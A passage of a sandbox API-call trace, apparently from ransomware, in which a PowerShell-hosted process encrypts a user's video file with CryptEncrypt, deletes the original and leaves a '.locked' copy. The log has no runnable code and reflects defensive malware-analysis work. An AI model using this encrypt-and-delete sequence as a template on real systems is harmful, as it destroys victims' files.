Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.341] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.341] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.341] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.341] ReadFile (in: hFile=0x778, lpBuffer=0x695c41c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x695c41c*, lpNumberOfBytesRead=0x99ae7a8*=0x78cb, lpOverlapped=0x0) returned 1 [0139.342] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6970428*, pdwDataLen=0x99ae79c*=0x78c0, dwBufLen=0x78c0 | out: pbData=0x6970428*, pdwDataLen=0x99ae79c*=0x78c0) returned 1 [0139.342] WriteFile (in: hFile=0x768, lpBuffer=0x6957bfc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6957bfc*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0139.343] WriteFile (in: hFile=0x768, lpBuffer=0x6971414*, nNumberOfBytesToWrite=0x68d4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6971414*, lpNumberOfBytesWritten=0x99ae780*=0x68d4, lpOverlapped=0x0) returned 1 [0139.343] ReadFile (in: hFile=0x778, lpBuffer=0x695c41c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x695c41c*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0139.343] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6977d0c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6977d0c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0139.343] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6977d40*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6977d40*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0139.343] WriteFile (in: hFile=0x768, lpBuffer=0x6957bfc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6957bfc*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0139.343] CloseHandle (hObject=0x768) returned 1 [0139.344] CloseHandle (hObject=0x778) returned 1 [0139.344] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.344] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.345] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.345] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.345] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.346] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi")) returned 0x20 [0139.347] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.347] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0139.347] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0139.347] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0139.347] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0139.347] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0139.347] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0139.347] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0139.347] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0139.348] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0139.348] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0139.348] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0139.348] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0139.348] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0139.348] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0139.348] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0139.348] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0139.348] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi")) returned 0x20 [0139.348] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.348] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.349] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0139.349] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.349] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi\\", lpFilePart=0x0) returned 0x2d [0139.349] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0139.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0139.349] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0139.349] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0139.349] CoTaskMemFree (pv=0x8eb8d30) [0139.350] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi")) returned 0x20 [0139.350] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.350] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0139.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi"), fInfoLevelId=0x0, lpFileInformation=0x69899a4 | out: lpFileInformation=0x69899a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62fc7b80, ftCreationTime.dwHighDateTime=0x1d4ad80, ftLastAccessTime.dwLowDateTime=0x454dbc10, ftLastAccessTime.dwHighDateTime=0x1d4a66f, ftLastWriteTime.dwLowDateTime=0x454dbc10, ftLastWriteTime.dwHighDateTime=0x1d4a66f, nFileSizeHigh=0x0, nFileSizeLow=0x78cb)) returned 1 [0139.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0139.350] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi")) returned 1 [0139.352] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.352] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.352] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.352] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.352] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.353] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi.locked")) returned 0x20 [0139.354] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi.locked")) returned 0x20 [0139.354] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked", lpFilePart=0x0) returned 0x33 [0139.354] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked", lpFilePart=0x0) returned 0x33 [0139.354] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.354] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.354] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.354] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.354] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.354] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.357] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.357] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.357] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.357] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.357] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.359] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.359] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.359] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.359] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.359] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.362] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.362] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.362] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.362] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.362] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.364] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.364] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.365] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.365] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.365] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, 